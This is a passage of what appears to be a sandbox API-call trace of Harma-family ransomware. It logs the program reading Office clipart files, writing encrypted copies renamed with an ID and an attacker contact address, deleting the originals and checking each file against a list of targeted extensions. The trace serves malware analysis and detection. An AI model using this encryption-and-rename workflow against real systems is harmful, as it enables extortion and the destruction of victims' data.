[0150.484] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.485] GetLastError () returned 0x0 [0150.485] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xe20, lpOverlapped=0x0) returned 1 [0150.487] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe30, lpOverlapped=0x0) returned 1 [0150.487] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.488] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.488] SetEndOfFile (hFile=0x378) returned 1 [0150.488] CloseHandle (hObject=0x378) returned 1 [0150.488] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.488] SetEndOfFile (hFile=0x360) returned 1 [0150.490] CloseHandle (hObject=0x360) returned 1 [0150.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0150.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.491] lstrlenW (lpString=".doc") returned 4 [0150.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.491] lstrlenW (lpString=".docx") returned 5 [0150.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.491] lstrlenW (lpString=".pdf") returned 4 [0150.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.491] lstrlenW (lpString=".xls") returned 4 [0150.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.491] lstrlenW (lpString=".xlsx") returned 5 [0150.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.491] lstrlenW (lpString=".ppt") returned 4 [0150.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.491] lstrlenW (lpString=".zip") returned 4 [0150.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.491] lstrlenW (lpString=".rar") returned 4 [0150.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.491] lstrlenW (lpString=".bz2") returned 4 [0150.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.491] lstrlenW (lpString=".7z") returned 3 [0150.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.491] lstrlenW (lpString=".dbf") returned 4 [0150.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.491] lstrlenW (lpString=".1cd") returned 4 [0150.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.492] lstrlenW (lpString=".jpg") returned 4 [0150.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.492] lstrlenW (lpString=".doc") returned 4 [0150.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.492] lstrlenW (lpString=".docx") returned 5 [0150.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.492] lstrlenW (lpString=".pdf") returned 4 [0150.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.492] lstrlenW (lpString=".xls") returned 4 [0150.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.492] lstrlenW (lpString=".xlsx") returned 5 [0150.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.492] lstrlenW (lpString=".ppt") returned 4 [0150.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.492] lstrlenW (lpString=".zip") returned 4 [0150.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.492] lstrlenW (lpString=".rar") returned 4 [0150.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.492] lstrlenW (lpString=".bz2") returned 4 [0150.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.492] lstrlenW (lpString=".7z") returned 3 [0150.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.493] lstrlenW (lpString=".dbf") returned 4 [0150.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.493] lstrlenW (lpString=".1cd") returned 4 [0150.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0150.493] lstrlenW (lpString=".jpg") returned 4 [0150.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.493] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.493] lstrlenW (lpString="DD01143_.WMF") returned 12 [0150.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.493] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2140) returned 1 [0150.493] CloseHandle (hObject=0x360) returned 1 [0150.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0150.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.494] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.494] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.498] GetLastError () returned 0x0 [0150.498] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x85c, lpOverlapped=0x0) returned 1 [0150.499] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x860, lpOverlapped=0x0) returned 1 [0150.500] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.500] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.501] SetEndOfFile (hFile=0x378) returned 1 [0150.501] CloseHandle (hObject=0x378) returned 1 [0150.501] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.501] SetEndOfFile (hFile=0x360) returned 1 [0150.503] CloseHandle (hObject=0x360) returned 1 [0150.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0150.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.504] lstrlenW (lpString=".doc") returned 4 [0150.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.504] lstrlenW (lpString=".docx") returned 5 [0150.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.504] lstrlenW (lpString=".pdf") returned 4 [0150.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.504] lstrlenW (lpString=".xls") returned 4 [0150.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.504] lstrlenW (lpString=".xlsx") returned 5 [0150.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.504] lstrlenW (lpString=".ppt") returned 4 [0150.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.504] lstrlenW (lpString=".zip") returned 4 [0150.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.504] lstrlenW (lpString=".rar") returned 4 [0150.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.504] lstrlenW (lpString=".bz2") returned 4 [0150.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString=".7z") returned 3 [0150.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.505] lstrlenW (lpString=".dbf") returned 4 [0150.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.505] lstrlenW (lpString=".1cd") returned 4 [0150.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.505] lstrlenW (lpString=".jpg") returned 4 [0150.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.505] lstrlenW (lpString=".doc") returned 4 [0150.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString=".docx") returned 5 [0150.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.505] lstrlenW (lpString=".pdf") returned 4 [0150.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString=".xls") returned 4 [0150.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.505] lstrlenW (lpString=".xlsx") returned 5 [0150.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.505] lstrlenW (lpString=".ppt") returned 4 [0150.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.505] lstrlenW (lpString=".zip") returned 4 [0150.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.505] lstrlenW (lpString=".rar") returned 4 [0150.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.505] lstrlenW (lpString=".bz2") returned 4 [0150.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.506] lstrlenW (lpString=".7z") returned 3 [0150.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.506] lstrlenW (lpString=".dbf") returned 4 [0150.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.506] lstrlenW (lpString=".1cd") returned 4 [0150.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0150.506] lstrlenW (lpString=".jpg") returned 4 [0150.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.506] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.506] lstrlenW (lpString="DD01145_.WMF") returned 12 [0150.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.567] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2780) returned 1 [0150.567] CloseHandle (hObject=0x378) returned 1 [0150.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0150.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.702] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.702] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.703] GetLastError () returned 0x0 [0150.703] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xadc, lpOverlapped=0x0) returned 1 [0150.723] WriteFile (in: hFile=0x2e8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xae0, lpOverlapped=0x0) returned 1 [0150.724] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.724] WriteFile (in: hFile=0x2e8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.724] SetEndOfFile (hFile=0x2e8) returned 1 [0150.724] CloseHandle (hObject=0x2e8) returned 1 [0150.724] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.724] SetEndOfFile (hFile=0x21c) returned 1 [0150.727] CloseHandle (hObject=0x21c) returned 1 [0150.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0150.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.728] lstrlenW (lpString=".doc") returned 4 [0150.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.728] lstrlenW (lpString=".docx") returned 5 [0150.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.728] lstrlenW (lpString=".pdf") returned 4 [0150.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.728] lstrlenW (lpString=".xls") returned 4 [0150.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.728] lstrlenW (lpString=".xlsx") returned 5 [0150.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.728] lstrlenW (lpString=".ppt") returned 4 [0150.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.728] lstrlenW (lpString=".zip") returned 4 [0150.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.729] lstrlenW (lpString=".rar") returned 4 [0150.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.729] lstrlenW (lpString=".bz2") returned 4 [0150.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.729] lstrlenW (lpString=".7z") returned 3 [0150.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.729] lstrlenW (lpString=".dbf") returned 4 [0150.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.729] lstrlenW (lpString=".1cd") returned 4 [0150.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.729] lstrlenW (lpString=".jpg") returned 4 [0150.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.729] lstrlenW (lpString=".doc") returned 4 [0150.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.729] lstrlenW (lpString=".docx") returned 5 [0150.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.729] lstrlenW (lpString=".pdf") returned 4 [0150.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.729] lstrlenW (lpString=".xls") returned 4 [0150.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.729] lstrlenW (lpString=".xlsx") returned 5 [0150.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.729] lstrlenW (lpString=".ppt") returned 4 [0150.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.730] lstrlenW (lpString=".zip") returned 4 [0150.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.730] lstrlenW (lpString=".rar") returned 4 [0150.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.730] lstrlenW (lpString=".bz2") returned 4 [0150.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.730] lstrlenW (lpString=".7z") returned 3 [0150.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.730] lstrlenW (lpString=".dbf") returned 4 [0150.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.730] lstrlenW (lpString=".1cd") returned 4 [0150.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0150.730] lstrlenW (lpString=".jpg") returned 4 [0150.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.730] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.730] lstrlenW (lpString="DD01152_.WMF") returned 12 [0150.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.731] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2960) returned 1 [0150.731] CloseHandle (hObject=0x21c) returned 1 [0150.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0150.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.732] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.732] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.732] GetLastError () returned 0x0 [0150.732] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, 